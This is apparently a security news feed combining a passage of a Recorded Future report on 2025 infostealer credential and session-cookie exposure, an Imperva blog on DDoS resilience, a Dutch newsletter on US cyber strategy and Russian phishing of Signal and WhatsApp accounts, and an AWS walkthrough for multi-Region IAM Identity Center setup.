What this means for security teams: A single alert should trigger a device-level incident response, not just a password reset. Understanding what else was on that machine — and what else may have been exfiltrated — is essential to containing the full extent of the exposure.

The Cookie Problem: Why MFA Isn't Enough

One of the most significant findings from 2025 is the volume of credentials that included active session cookies alongside stolen passwords. Recorded Future indexed 276 million credentials with cookies — 31% of all malware-sourced credentials — a figure that grew 30% from the first half of the year to the second half.

Session cookies allow attackers to authenticate as a user without entering a password or completing an MFA challenge. They effectively render secondary authentication controls irrelevant for as long as the session remains active.

December was the single highest month for cookie-bearing credential exposure, indexing 18% more than the next highest month (November).

CHART 3: Monthly volume of credentials with cookies, 2025 (Source: Recorded Future)

What this means for security teams: MFA enrollment is necessary but not sufficient. Organizations should monitor for session cookie theft specifically, enforce shorter session token lifespans for high-risk applications, and treat any credential exposure from an infostealer log as a potential authentication bypass — not just a password reset trigger.

The Infostealer Ecosystem: How the Malware Landscape Shifted in 2025

LummaC2: The Year's Dominant Threat

LummaStealer emerged as the most widely deployed infostealer of 2025. Operating under a malware-as-a-service model since late 2022, it matured significantly over the past year, targeting Windows systems to harvest browser credentials, session cookies, cryptocurrency wallets, and two-factor authentication tokens.

Its distribution relied heavily on social engineering — fake software downloads and "ClickFix" techniques that trick users into executing malicious commands disguised as CAPTCHA challenges. Recent campaigns used CastleLoader for delivery, running obfuscated payloads in memory to evade detection.

In May 2025, a coordinated law enforcement action neutralized more than 2,300 LummaC2 command-and-control domains. The disruption was significant — but not fatal. LummaStealer operators migrated to bulletproof hosting services and employed sophisticated sandbox evasion techniques, including trigonometric analysis of mouse movements to avoid automated detection environments. Activity continued under private, select-affiliate operations through the remainder of the year.

How the Rest of the Ecosystem Responded

The 2025 infostealer landscape was shaped as much by law enforcement disruption as by attacker innovation. Each takedown created a vacuum that other malware families quickly filled.

Early 2025: The late-2024 law enforcement actions against RedLine and META pushed users toward emerging MaaS alternatives, consolidating volume around LummaC2 and accelerating its dominance through Q2.

Mid-2025: Following the LummaC2 disruption in May, established families — Rhadamanthys, Vidar, and StealC — absorbed the displaced activity. Rhadamanthys led through the summer until its own infrastructure was taken down by law enforcement in November 2025. Vidar stepped into the lead position thereafter.

Rebranding as a survival strategy: Disruption prompted reinvention. StealC relaunched as StealC v2. Vidar operators attempted a similar rebrand. These moves reflect a deliberate effort by malware developers to obscure continuity and frustrate attribution.

macOS: Atomic macOS Stealer (AMOS) dominated the macOS market through most of 2025, disappearing in October before returning in February 2026. MacSync (formerly Mac.C) emerged as the primary commodity macOS infostealer by year end.

Private operations grew: Increased law enforcement pressure on publicly accessible MaaS tools pushed sophisticated threat actors toward private infostealers with restricted affiliate access. Acreed (also known as ACR Stealer) and Odyssey Stealer represented the most significant private-operation families of 2025. Private Lumma operations also continued post-disruption.

What this means for security teams: Malware family names change. Takedowns create temporary disruption, not permanent resolution. Organizations that track exposure by malware family rather than only by leaked credential volume will be better positioned to understand the true source and scope of each incident.

Recommendations for Security Teams

The 2025 data points to four areas where security teams can meaningfully reduce their exposure to credential-based attacks.

1. Extend monitoring to personal devices. The majority of infostealer infections occur on personal devices used to access corporate systems — a risk that endpoint detection tools and traditional perimeter controls cannot address. Monitoring infostealer malware logs directly provides visibility into these exposures before they are weaponized.

One large automotive parts distributor found that Recorded Future surfaced stolen credentials tied to an employee's personal device — an exposure their existing tools had no visibility into and would likely never have caught.

2. Treat session cookie exposure as a critical-severity event. With 276 million credentials carrying active cookies in 2025, any infostealer-sourced credential exposure should trigger immediate session invalidation in addition to a password reset. MFA bypass via stolen cookies is not a theoretical threat — it is an observed, frequent attack pattern.

3. Automate response workflows to close the detection-to-remediation gap. The data shows that most credentials are indexed within days of theft. Organizations that have pre-built response playbooks — automatically checking Active Directory, clearing sessions, forcing resets, and notifying managers — respond in minutes rather than hours.

"We created a custom SOAR playbook using the Identity Intelligence module. This playbook takes the information of compromised corporate user accounts, runs an Active Directory check for the credentials, clears user sessions and resets the password if the account is found to be compromised. It also notifies the user's manager for email response. To date, we have processed over 330 different identity alerts. " — Bryan Cassidy, Lead Cyber Defense Engineer, 7-Eleven (UserEvidence)

4. Monitor your entire domain footprint — including subsidiaries and third parties. Some of the most consequential exposures in 2025 involved obscure subsidiaries and supply chain partners, not core corporate domains. Attackers do not limit themselves to obvious targets. Security teams shouldn't limit their monitoring to obvious domains either.

One large international financial services firm detected an infostealer on a third-party service provider's machine through Recorded Future — surfacing a supply chain exposure that would have been invisible through traditional monitoring alone.

The Recorded Future Advantage: Detection Speed – From Exfiltration to Alert in Hours

The gap between when credentials are stolen and when a security team finds out is where breaches happen. Most organizations discover compromised credentials days or weeks after the fact — through a public breach disclosure, a tip from law enforcement, or an incident that's already underway.

Recorded Future closes that gap. In 2025, 36.4% of all indexed credentials were detected within 24 hours of exfiltration, and 52.9% within one week. By the time stolen credentials are being traded or weaponized, Recorded Future customers have already been alerted.

Credential Exfiltration Breakdown
Within 24 hours
36%
Within 1 week
53%
Within 1 month
85%
Within 1 year
99%
Over 1 year
1%

Table 2: Exfiltration freshness breakdown (Source: Recorded Future)

Speed matters because attackers move fast. Infostealer logs are often listed for sale within hours of collection. Every day between exfiltration and detection is a day an attacker may already have access. The 15.3% of credentials not detected within a month illustrate what happens when that window stays open — extended attacker dwell time, lateral movement, and incidents that escalate into major breaches.

For Recorded Future customers, early detection is only half the equation. Pre-built integrations with Okta, Microsoft Entra ID, and SOAR platforms like XSOAR mean that when a credential alert fires, automated workflows can clear sessions, force password resets, and notify managers — without waiting for an analyst to pick up the ticket.

A large international financial services firm's Team Lead described a recent credential leak: identified and escalated in under 24 hours, triggering immediate automated remediation — exactly the outcome their team had built toward.

Appendix: Notable Passwords from 2025 Credential Exposures

The following passwords appeared most frequently across credentials indexed by Recorded Future in 2025. Their prevalence reflects the continued gap between password policies and actual user behavior — and the reason why credential monitoring cannot rely on password complexity alone as a proxy for risk.

About This Report

This report is based on data indexed by Recorded Future's Identity Intelligence Module across the full calendar year 2025. Recorded Future monitors credentials across open web, dark web, paste sites, Telegram channels, and infostealer malware logs sourced from 30+ malware families. All credential data can be processed and analyzed without storing plaintext passwords in customer-facing systems.

Find out What’s Already Exposed in Your Environment

The data in this report reflects the broader threat landscape. The question is how much of it applies to your organization specifically.

Recorded Future's complimentary Identity Exposure Assessment pulls directly from the Recorded Future Intelligence Graph to show you the volume, recency, and severity of your organization's credential exposure over the past year — including compromised employee credentials, infostealer-sourced data, and how your exposure has trended over time.

There's no commitment required. Just a clear picture of where your organization stands.

Get your complimentary Identity Exposure Assessment →

  •  

Why Most DDoS Protection Fails: Solving for Continuity and Resilience

Most organisations assume DDoS (Distributed denial of service) protection is a box they’ve already ticked. If traffic spikes or an attack starts, the thinking goes, their provider will absorb it and move on.

But in the real world it can be a different story. Many incidents aren’t caused by the scale of an attack alone, they happen because their protection isn’t designed to act fast enough, distinguish legitimate traffic or stay active without disruption for normal traffic. Or slows the legitimate traffic down, degrading performance when under an attack.

In this blog, we look at why DDoS resilience is really about continuity, not just mitigation, and what teams often miss when they assume they’re already protected.

The DDoS Protection Gap: Why Performance Breaks Under Pressure.

Modern DDoS attacks rarely look like blunt floods now; they utilize multi-vector strategies targeting the application layer (Layer 7) to blend in. They overwhelm specific application paths or quietly degrade performance until frustrated users give up.

In 2025, Imperva Threat Research team observed an application-layer DDoS attack that peaked at 15 million requests per second against a financial services API, a clear sign that attackers now combine scale with stealth tactics.

When protection isn’t built to handle this kind of attack, organisations often see:

  • Delays between detection and mitigation
  • Legitimate users are blocked or challenged during peak moments
  • Performance degradation that’s dismissed as ‘normal slowing’
  • Downtime that occurs despite having DDoS controls in place

The result is widespread impact, disrupting not just infrastructure, but revenue, brand reputation and most importantly, trust.

Why Modern DDoS Protection is a Business Continuity Challenge

Effective  DDoS protection isn’t about surviving the largest possible attack on paper. It’s about ensuring users can continue to access applications, complete transactions and rely on important services, even when an attack is ongoing.

To do that organisations need protection that is:

  • Not dependent on manual activation
  • Fast, with mitigation measured in seconds, not minutes or hours
  • Accurate, so legitimate users aren’t caught in the crossfire
  • Edge-based mitigation using a global Anycast network, stopping attacks before they put internal systems under pressure

Without these characteristics, DDoS defences can become part of the problem rather than the solution.

The Oversight: What Security Teams Miss About Resilience

Many organisations unknowingly accept risk because they:

  • Assume any DDoS protection will do the job
  • Focus on volumetric capacity but overlook detection accuracy, time to mitigate, mitigation efficacy and stealth attacks to the application layer
  • Rely on reactive or hybrid approaches that leave a mitigation gap
  • Accept user friction as an acceptable side effect of defence activity
  • Accept operational complexity as “the nature of the beast”

Often, these gaps only become visible during critical moments such as launches, seasonal peaks or high-traffic events, when resilience matters most.

The Solution: Supporting Continuity with Always-On Mitigation

Thales’s Imperva DDoS Protection is designed to preserve availability and user experience, even during sustained or sophisticated attacks.

Behind the scenes, this means:

  • Continuous and detailed profiling of peace-time traffic for fast identification of anomalies and potential DDoS attacks.
  • Always- on mitigation at the edge, eliminating delays in response with an industry-leading 3     second time-to-mitigation SLA for network-layer attacks.
  • Versatile set of techniques for minimising disruption to legitimate users, including signatures, behavioural patterns and challenges.
  • Attack isolation for avoiding potential collateral damage.
  • Global scale and distribution, absorbing attacks close to the source.

 

The Impact: Why True Resilience Matters for Revenue

DDoS attacks don’t just test security controls; they test business resilience. When protection fails, the impact is immediate, abandoned sessions, lost transactions, frustrated customers and operational pressure at exactly the wrong moment.

DDoS resilience isn’t defined by how large an attack you can withstand, but by how consistently your services remain available while it’s happening.

By aligning always-on mitigation, rapid response and accurate traffic, classification, organisations can reduce risk without compromising user experience and ensure that availability isn’t dependent on perfect timing or manual intervention.

Because the true test of DDoS protection is whether services remain available.

To discuss DDoS protection with a member of the team, get in touch.

The post Why Most DDoS Protection Fails: Solving for Continuity and Resilience appeared first on Blog.

  •  

VS scherpt cyberstrategie aan en Russische hackers <3 WhatsApp en Signal

  • De Verenigde Staten hebben het meest krachtige, technologisch verfijnde én geavanceerde leger ter wereld. “And it is not even close”, was getekend Donald J. Trump, de president van de Verenigde Staten. Het is de eerste zin waarmee Trump de nieuwe Amerikaanse cyberstrategie aankondigt. Of zoals hij het zelf noemt: President Trump’s Cyber Strategy for America.

  • Wat opvalt: private bedrijven krijgen een aanzienlijk actievere rol in de verdediging van het Amerikaanse cyberlandschap. Maar ook offensief is er een rol voor bedrijven. Ze krijgen ‘prikkels’ om vijandige netwerken te identificeren en te verstoren. Krachttaal volgt. “We moeten tegenstanders opsporen, confronteren en uitschakelen voordat zij in onze netwerken en systemen kunnen binnendringen.”

  • Het is nogal een verandering ten opzichte van de strategie van de vorige regering, waarin het uitvoeren van offensieve acties expliciet een taak van de overheid werd genoemd [PDF]

  • Zoals de New York Times terecht stelt: dat roept allerlei juridische en praktische vragen op. Zoals wie verantwoordelijk is voor schade als gevolg van een operatie. En wie toetst of de inzet van acties door private bedrijven volgens de regels is gegaan? Wettelijk gezien mogen private bedrijven geen aanvallen uitvoeren. Daar zou dus een wetswijziging voor nodig zijn. En hoe wordt voorkomen dat een actie van een privaat bedrijf leidt tot escalatie? Dat laatste is precies waar experts voor waarschuwen, als er geen toezicht of coördinatie is vanuit een organisatie zoals het US Cyber Command.

  • Dan de reacties. Die zijn deels positief. Omdat Iran zijn cyberspieren laat zien als reactie op de aanvallen op Iran door de VS en Israël, is de komst van het document belangrijk. “Deze strategie […] komt geen moment te vroeg”, zegt Frank Cilluffo van het McCrary Institute for Cyber & Critical Infrastructure van Auburn University. En ook de CEO van USTelecom is blij.

  • Maar niet iedereen staat te juichen op de banken. Democraat Bennie Thompson bijvoorbeeld. Hij noemt het een pamflet met weinig inhoud. Een “rommelige mix van vage platitudes en een lange opsomming van ‘wij zullen’-uitspraken”, zegt de leider van de Commissie Binnenlandse Veiligheid in het Huis van Afgevaardigden. Hij wijst op het ontbreken van een concreet stappenplan voor het bereiken van de doelen.

  • China en Rusland ontbreken. Niet één keer worden ze genoemd in het document. Vreemd, want die landen gelden als de grootste cyberdreigingen voor de VS.

  • De bekende hackergroepen Volt Typhoon en Salt Typhoon zijn nogal druk met aanvallen. De Typhoons houden zich bezig met onder meer spionage en het infiltreren in netwerken van vitale infrastructuur om uiteindelijk te kunnen verstoren en saboteren. Van de mailsystemen van het Amerikaanse Congres, de netwerken van telecombedrijven in de VS tot aan de netwerken op Guam. En ze eruit krijgen, lijkt lastig.

  • En ook aan Rusland gelieerde hackers zijn ‘gewoon’ actief in de VS, zoals bij de aanval op de systemen van de Amerikaanse federale rechtbank. Of een privaat bedrijf dat doelwit werd, omdat het opdrachten uitvoerde voor een stad met banden met een Oekraïense zustergemeente, zoals beschreven door cybersecuritybedrijf Arctic Wolf.

  • Natuurlijk gaan Dave Maasland en ik het er uitgebreid over hebben in het komende seizoen van onze podcast Het Digitale Front. Want deze strategie is belangrijk, ook voor ons in Europa. Wat de VS bepaalt, heeft linksom of rechtsom ook effect op wat hier gebeurt. Bijvoorbeeld voor standaarden die gelden voor een bepaalde sector, maar ook omdat beleid uiteindelijk terug te zien is in de producten die hier op de markt komen en hoe ze werken.

  • Nederland vaart trouwens ook een meer offensieve cyberkoers dan voorheen. Dave Maasland en ik spraken Gijs Tuinman erover in Het Digitale Front. Check de aflevering hieronder:

Russische hackers <3 Signal en WhatsApp

  • Russische staatshackers proberen wereldwijd binnen te komen in de WhatsApp- en Signalaccounts van ambtenaren, militairen en prominente bestuurders. Ook Nederlandse ambtenaren waren doelwit.

  • Het is belangrijk om te benadrukken dat Signal en WhatsApp niet gecompromitteerd zijn. De daders hebben niet ingebroken in de techniek maar mensen misleid via social engineering. Ze zijn verleid codes door te geven die normaal worden gebruikt om een account op een ander apparaat te registreren. Of door ze een QR-code te laten scannen waarmee hun account te gebruiken was op de desktopcomputer van de hacker.

  • Het is een methode die vaker gebruikt wordt. Toch is het reden voor Signal om zelf nog even extra duidelijk te zijn: met de encryptie en de infrastructuur van

    Signal is niets mis.

  • Deze algemene tips zijn wél van toepassing voor iedereen die dit soort chatapps gebruikt. Controleer je gekoppelde apparaten in de instellingen van je app. Scan alleen QR-codes als je zelf actief een ander apparaat aan je account wilt koppelen. Geef nooit verificatiecodes of pincodes door. Beter tien keer te vaak geweigerd, dan één keer te veel vertrouwen. En activeer registratievergrendeling vooral, zodat anderen je Signal-pincode nodig hebben om met jouw nummer opnieuw bij Signal te kunnen registreren.

Tot volgende week! Reageren? Hit reply. Delen? Forward dit of stuur de link aan je kennissen en vrienden.

-H.

Harm Teunis | Cybersecurity Evangelist | Podcastmaker Het Digitale Front | Spreker

Thanks for reading! Subscribe for free to receive new posts and support my work.

  •  

Deploy AWS applications and access AWS accounts across multiple Regions with IAM Identity Center

If your organization relies on AWS IAM Identity Center for workforce access, you can now extend that access across multiple AWS Regions with multi-Region replication. Previously, AWS access portal was only available in one Region, when you add an additional Region, users get an active access portal endpoint there. If the primary Region experiences a disruption, they can continue working through the additional Region. This enhancement also enables you to deploy AWS managed applications in additional Regions closer to your users, which reduces latency and helps meet regional compliance requirements. Meanwhile, you maintain centralized control by managing Identity Center configurations from the primary Region.

In this post, you’ll learn how to configure multi-Regions support, including multi-Region replication, encryption setup, adding Regions, updating your identity provider (IdP), and testing the setup end to end.

Prerequisites and considerations

Before enabling multi-Region support, confirm your environment meets these requirements and understand how this change will affect your existing setup.

Considerations

Keep the following limitations in mind before you begin:

  • IAM Identity Center account instances don’t support multiRegion replication.
  • Microsoft Active Directory and IAM Identity Center directory as identity source aren’t supported for multi-Region replication.
  • AWS opt-in Regions aren’t supported.
  • The AWS access portal in additional Regions doesn’t support the custom alias (in other words, customer-chosen subdomains).
  • AWS account access through additional Region relies on already provisioned permissions; new permission set assignments and group memberships can be managed only in the primary Region and are then automatically replicated to additional Regions.

Walkthrough

To set up multi-Region support, you’ll follow three steps: creating and configuring a customer-managed KMS key with Identity Center, enabling the additional Region in the Identity Center console, and updating your identity provider with the new regional URLs and bookmark applications.

Important: Your Identity Center instance operates on a primary-replica model where instance-level configuration changes must be made in the primary Region, while additional Regions receive read-only replications of your settings and provide Region-local access for your workforce. In this example, you will use Okta as your external IdP, with N. Virginia (us-east-1) as the primary Region and Frankfurt (eu-central-1) as the additional Region.

Before you start, ensure that you’re signed in to the console as an administrator in the same account and Region where your Identity Center instance resides.

Create and configure multi-Region customer-managed KMS keys with Identity Center

First, you must set up a multi-Region customer-managed KMS key with Identity Center in your primary Region and replicate it to additional Regions where you plan to replicate Identity Center. Identity Center uses customer-managed KMS keys for encryption of your identity data such as user attributes. Because the same key material must be available in each Region, you’ll create a multi-Region key — complete this step in the AWS Organizations management account. Before proceeding, confirm that your currently deployed AWS managed applications support customer-managed KMS keys with Identity Center. Each AWS KMS key has usage and storage cost, see AWS KMS pricing page for details.

1. Create the multi-Region customer-managed KMS keys in your primary Region and add it to your Identity Center instance
Follow the blog AWS IAM Identity Center now supports customer-managed KMS keys for encryption at rest, ensuring that you choose Multi-Region Key in Part 1: Create the key and define permissions.

For guidance on configuring your key policy, see the KMS key policy examples for common use cases in the Identity Center User Guide, which provides example policies you can adapt for your specific requirements.

2. Create replica keys in additional Regions
After completing the primary Region setup, create new replica keys in each AWS Region where you plan to replicate Identity Center. To complete this step, follow the documentation in Create multi-Region replica keys.

Note: The replica key automatically inherits the same key policy as the primary customer-managed KMS key. However, future modifications to the key policy must be manually applied to the replica key in each Region. AWS KMS replica keys are independent resources; policy changes on the primary key do not propagate automatically.

Add an additional Region to Identity Center

Now that key replication is complete, you can add an additional Region to your Identity Center instance. For this post, use Frankfurt (eu-central-1). If you have a delegated admin account configured, we recommend completing remaining configurations in that account. We will perform this configuration using the console, but you can also use the IAM Identity Center API. For detailed instructions, see Add the Region in IAM Identity Center.

  1. Open the AWS Management Console.
  2. In the search bar, enter IAM Identity Center and choose the service.
  3. In the navigation pane, choose Settings.
  4. Choose Add Region.
  5. Figure 1: Management tab with encryption and Region information

    Figure 1: Management tab with encryption and Region information

  6. From the Region list on the following page, select Frankfurt (eu-central-1). Then, choose Add Region.
  7. The Region list shows Regions enabled by default where the customer-managed KMS key was replicated, making them available for you to choose.

    Figure 2: Choose an AWS Region to add

    Figure 2: Choose an AWS Region to add

  8. You’ll return to the Settings for Identity Center page, where you’ll see the new Region with a Replicating status. A blue banner indicates that Identity Center is replicating your workforce identities, configuration, and metadata to the new Region. After the initial setup (15–30 minutes, depending on the size of your Identity Center instance), future changes replicate within seconds.
  9. Figure 3: Initial replication to the newly added Region in progress

    Figure 3: Initial replication to the newly added Region in progress

  10. After replication completes, the Replication Status column changes to Replicated. Your Identity Center endpoints in the additional Region are now active.
  11. Figure 4: A console view after the initial replication is done

    Figure 4: A console view after the initial replication is done

  12. Users can now access AWS accounts through both AWS access portal URLs. You can view and copy the enabled portal URLs either from the Region list or by choosing View AWS access portal URLs.

You can view Security Assertions Markup Language (SAML) information, such as ACS URLs, about the primary and additional Regions by choosing View ACS URLs. In the next section you will use both, your AWS access portal URLs and ACS URLs to update your external IdP configuration.

Update your IdP configuration for the additional Region

You’ve successfully replicated your Identity Center instance to the Frankfurt (eu-central-1) Region. This means your workforce identities are now available in that additional Region and can use the new AWS access portal endpoint. Identity Center supports two authentication flows: one where users start from the AWS access portal or AWS managed application (service provider-initiated), and one where users start from their IdP portal (IdP-initiated). With service provider-initiated authentication, when users attempt to authenticate, Identity Center redirects them to your IdP authentication page, and after successful authentication, their authentication response is sent to the Regional SAML assertion consumer service (ACS) endpoint in Identity Center. The ACS endpoint in the additional Region uses a different URL than the primary Region, as shown in the following image.

Figure 5: Identity Center URLs

Figure 5: Identity Center URLs

Currently, your IdP only has information about your Identity Center in the primary Region. To successfully redirect users’ authentication responses to the additional Region, you must add the new Regional endpoint to the IdP configuration.

Update the Identity Center application in your IdP:

This update enables service provider-initiated authentication to succeed. In the Identity Center app within your external IdP, add the ACS URL for the additional Region so that the app contains both Regional ACS URLs. Keep the existing URL as the first one in the list, the IdP uses the first URL as the default redirect target for IdP-initated authentication. The additional ACS URL will be used by the IdP to send the authentication response when users sign in using service provider-initiated authentication flows.

As an example, follow the instructions to configure your Identity Center application in Okta:

  1. Log in to the Okta portal as an Admin.
  2. Expand the Applications drop-down in the left pane, then choose Applications
  3. Choose your Identity Center Application
  4. Select the Sign-on tab and choose Edit in the Settings windows.
  5. In the AWS SSO ACS URL1 box add the additional ACS URL
Figure 6 – Identity Center enterprise application configuration in Okta

Figure 6: Identity Center enterprise application configuration in Okta

Users can now access accounts starting from the Region-specific AWS access portal, in this case they need to remember two Region specific URLs, one for Frankfurt (eu-central-1) and one for N. Virginia (us-east-1). To accommodate these Region-specific portal URLs, we recommend creating a bookmark application in your IdP. While users can also bookmark the URLs directly in their browsers, providing a bookmark app makes the additional Region discoverable in the IdP portal without requiring each user to manually save a URL.

This bookmark app functions like a browser bookmark and contains only the URL to the AWS access portal in the additional Region. Users can access this bookmark app from their IdP portal to reach the Region-specific AWS access portal. You also must grant your users access to the bookmark app in the external IdP. In Okta, follow the instructions below:

  1. Log in to the Okta portal as an Admin.
  2. Expand the Applications drop-down in the left pane, then choose Applications.
  3. Choose Browse App Catalog
  4. Search for “Bookmark App”, select it from the list of results, and choose Add in the left pane.
  5. Choose an app name. For this blog post, the name can be “Identity Center – Frankfurt (eu-central-1)”
  6. In the URL box, paste the Frankfurt (eu-central-1) specific URL
  7. Choose Done. You will be redirected to the Bookmark application in the Assignments tab.
  8. Choose Assign and select the Groups/People that will have access to this application.

After completing this configuration, users will see two Identity Center applications in their IdP portal—one for the primary Region and another for the additional Region.
Figure 7 shows how this configuration appears in the Okta end user dashboard.

Figure 7: Okta end-user portal with two Region-specific tiles for Identity Center

Figure 7: Okta end-user portal with two Region-specific tiles for Identity Center

If you choose the newly created bookmark app, it will direct you to the AWS access portal in the additional Region.

Note: Identity Center supports IPv4-only endpoints, and dual-stack endpoints that support both IPv6 and IPv4. Depending on where your organization is in the process of IPv6 adoption, you will need to configure corresponding Assertion Consumer Service (ACS) URLs in your external IdP and used the corresponding AWS access portal URLs in your IdP bookmark application. For more information, see IPv6 support in Identity Center blog.

Test your multi-Region configuration

In the previous sections, you finished configuring the requirements for Identity Center multi-Region replication between the primary N. Virginia (us-east-1) and additional Frankfurt (eu-central-1) Regions. With this configuration complete, users with sufficient permissions can now enable supported AWS managed applications in either Region. Additionally, users can access their AWS accounts through the AWS access portal from either Region. To validate both capabilities, you will first test AWS account access from the additional Region and then configure a supported AWS managed application in that Region.

Accessing AWS accounts from the additional Region

Permission set assignment that exists in the primary Region of your Identity Center instance will be replicated to your additional Region. This means that, if there is a service disruption in Identity Center in the primary Region, you can switch to the additional Region to access your AWS accounts through the access portal or AWS CLI. To complete this section, your user in Identity Center needs existing access to an AWS account with permission sets. For more information see Manage AWS accounts with permission sets.

Access AWS accounts from the additional Region using the AWS access portal

  1. Open the IAM Identity Center console.
  2. In the navigation pane, choose Settings.
  3. Choose the Management tab.
  4. Choose View AWS access portal URLs.
  5. Choose additional Region URL, a new browser tab will open with the AWS access portal in Frankfurt (eu-central-1).
  6. Confirm you can see permission sets assigned to you.
  7. Choose a permission set, confirm that you can access your AWS account.

Access AWS accounts from the additional Region using the AWS CLI

AWS Command Line Interface (AWS CLI) connects to a specific Identity Center Region to authenticate users and obtain credentials. For customers using multi-Region replication, we recommend creating multiple Regional CLI profiles—one for your primary Region and another for each additional Region. Separate profiles allow you to quickly switch between Regions during a disruption without reconfiguring your CLI. Before completing this section, confirm that AWS CLI version 2.x or later is installed and that you have an existing AWS CLI configuration file.
To facilitate Region-specific access through the AWS CLI, create two CLI profiles using the following configuration:

  1. Open your AWS CLI configuration file at ~/.aws/config.
  2. Add the following two profiles configurations, one per additional Region. The example below shows a user in Virginia using N. Virginia (us-east-1) as their primary Identity Center Region with Frankfurt (eu-central-1) as a backup. Replace with your actual Identity Center instance ID and with your account number. To find your Identity Center instance ID, navigate to IAM Identity Center console, Settings, Instance ARN (the instance ID is the value that starts with ‘ssoins-‘)
  3. Save the file.
    [profile ReadOnly]
    sso_role_name=ReadOnly
    sso_account=<account-Id>
    sso_session=us-east-1
    
    [sso-session us-east-1]
    sso_region=us-east-1
    sso_start_url=https://identitycenter.amazonaws.com/ssoins-<instance-Id>
    
    [profile ReadOnly-additional]
    sso_role_name=ReadOnly
    sso_account=<account-Id>
    sso_session=eu-central-1
    
    [sso-session eu-central-1]
    sso_region=eu-central-1
    sso_start_url=https://identitycenter.amazonaws.com/ssoins-<instance-Id>
    

Once the profiles have been configured, you can authenticate to each regional Identity Center endpoint independently using the following commands.
1. Run aws sso login –profile ReadOnly to log in through your primary Region N. Virginia (us-east-1),
2. Run aws sso login –profile ReadOnly-additional to log in through your additional Region Frankfurt (eu-central-1)

Each command opens a browser window to the corresponding regional AWS access portal, where you complete the authentication flow. After a successful login, the AWS CLI uses the credentials obtained from that Region for subsequent API calls made with that profile.

Deploy AWS managed applications in the additional Region

To test application deployment in the additional Region, for this blog post you will configure AWS Deadline Cloud, a managed service for rendering and visual effects workloads. You can choose other AWS managed applications that support deployment in additional Identity Center Regions — see the AWS managed applications that you can use with IAM Identity Center table in the documentation. This table is regularly updated as additional applications become available.
To configure AWS Deadline Cloud, follow the steps:

  1. Navigate to the AWS Deadline Cloud console and switch to your additional Region—for this example, Frankfurt (eu-central-1).
  2. Choose Set up Deadline Cloud on the Get Started section and follow the configuration wizard until Step 2: Set up monitor.
  3. In the Set up monitor screen, enter a name (for example, Frankfurtmonitorapp), then expand the Additional monitor settings menu. Notice how the Identity Center instance in Frankfurt (eu-central-1) is automatically selected by the AWS DeadLine Cloud wizard. Choose Next.
  4. On Define farm details, under Groups and users, select the group that will have access to the application, verify you are a member of that group. Notice how you can automatically choose groups that were synced from your IdP into your Identity Center instance.
  5. For this demonstration, leave remaining configurations with their default values and complete the application setup by following the wizard. After the application deployment is complete, choose Go to dashboard.

The application is now configured to use Region-local Identity Center service APIs for user sign-in and access to workforce identities. The dashboard displays the option to manage users, and user assignment management for this application is performed through the Frankfurt (eu-central-1) Region.

Testing user access to your AWS managed application

You can test user access to AWS Deadline Cloud by choosing Monitor in the upper right-hand corner of the dashboard. This initiates the service provider authentication workflow, which redirects you to your IdP for authentication. Because your IdP now recognizes the Frankfurt (eu-central-1) ACS URL, it knows where to send the successful authentication response, and you are authorized to access the newly created application.

You can also access the application using the application provided endpoint or through your AWS access portal. The AWS access portal in each Region displays the applications assigned to the user independent of the Region they are configured.

What happens when you try to enable your application in a Region where Identity Center isn’t configured?

If Frankfurt (eu-central-1) hasn’t been added to your Identity Center instance, the application console will detect your organization instance in N. Virginia (us-east-1), and prompt you to enable Frankfurt (eu-central-1) first.

Figure 8: AWS Deadline cloud console wizard when Identity Center isn’t configured in the current Region

Figure 8: AWS Deadline cloud console wizard when Identity Center isn’t configured in the current Region

Note: Existing deployments of AWS managed applications that use cross-Region calls with Identity Center (for example, Amazon Q Business) continue to function normally. When deploying an AWS managed application that supports cross-Region calls, we recommend configuring it to use Identity Center in the same Region, provided the prerequisites are met. Otherwise, you can configure the application to use Identity Center from one of its enabled Regions. See the respective AWS application’s User Guide to learn if it supports cross-Region calls to Identity Center.

Optional: Automatic failover of domains for AWS access portal

Identity Center provides Regional endpoints for the AWS access portal when you enable multi-Region replication. You can access these Regional instances directly, or you can build a redirection system that intelligently routes users to the nearest available AWS access portal endpoint with failover capabilities.

For a serverless implementation of automatic failover, you can combine several AWS services:

  • Amazon Route 53: Manages DNS routing with health checks and geoproximity-based routing policies to redirect users to their nearest Regional endpoint.
  • Amazon Application Recovery Controller (ARC): Orchestrates failover logic and provides readiness checks to ensure smooth transitions between Regions during service disruptions.
  • Application Load Balancer (ALB): Performs simple HTTP redirects to the appropriate Regional AWS access portal endpoints based on routing decisions.

This setup redirects users to a healthy endpoint in another Region if the primary Region goes down. Geoproximity routing sends users to their nearest endpoint under normal conditions.

Administration and auditing tasks by Region

The primary Region is the central management hub for instance-level configurations, while additional Regions provide Region-local application management and access capabilities. Application management is always performed in the Region where the application was configured.

This table shows the availability of use cases between Regions. The primary Region maintains centralized control over identity and access management, while additional Regions focus onRegion-specific application management and providing resilient access to AWS accounts.

Task category

Primary Region

Additional Region

Workforce identity management

Full management of workforce identities and user provisioning

Read-only

User session revocation

Revoke user sessions

Revoke user sessions

Instance-level configuration

Configuration changes and settings

Read-only

User assignments to applications (Region-specific)

For applications in the primary Region

For applications in an additional Region

Trusted identity propagation (TIP)

Use TIP with applications in the same Region

Use TIP with applications in the same Region

Enable/disable application access

For applications in the primary Region

For applications in an additional Region

External IdP configuration

Manage connection and configuration with external IdPs

Read-only

Customer-managed applications

Deploy and configure SAML and OAuth2 applications

Deploy and configure SAML and OAuth2 applications

AWS account access

Access AWS accounts through a Region-specific AWS access portal

Access AWS accounts through Region-specific AWS access portal

Application management (Region-specific)

Manage applications configured in the primary Region

Manage applications configured in additional Regions

Account access permissions

Configure and manage permission sets and account assignments

Not available

Conclusion

In this post, you learned how to extend your access to AWS through IAM Identity Center across multiple AWS Regions using multi-Region replication. To replicate your Identity Center instance to additional Regions, you need a multi-Region KMS key, updated IdP configuration, and network access to the new regional endpoints.

With multi-Region replication in place, your users gain resilient, low-latency access to AWS accounts and AWS managed applications through Region-specific AWS access portals. If a disruption occurs in the primary Region, users can continue working using already provisioned permissions through any additional Region. For organizations looking to deploy AWS managed applications beyond Deadline Cloud in additional Regions, consult the AWS managed applications that integrate with IAM Identity Center table in the Identity Center User Guide to verify that the application supports both customer-managed KMS keys and deployment in additional Regions before proceeding.

To explore the full range of IAM Identity Center multi-Region capabilities, including quota management, visit the Using IAM Identity Center across multiple AWS Regions user guide.


If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Alex Milanovic

Alex Milanovic

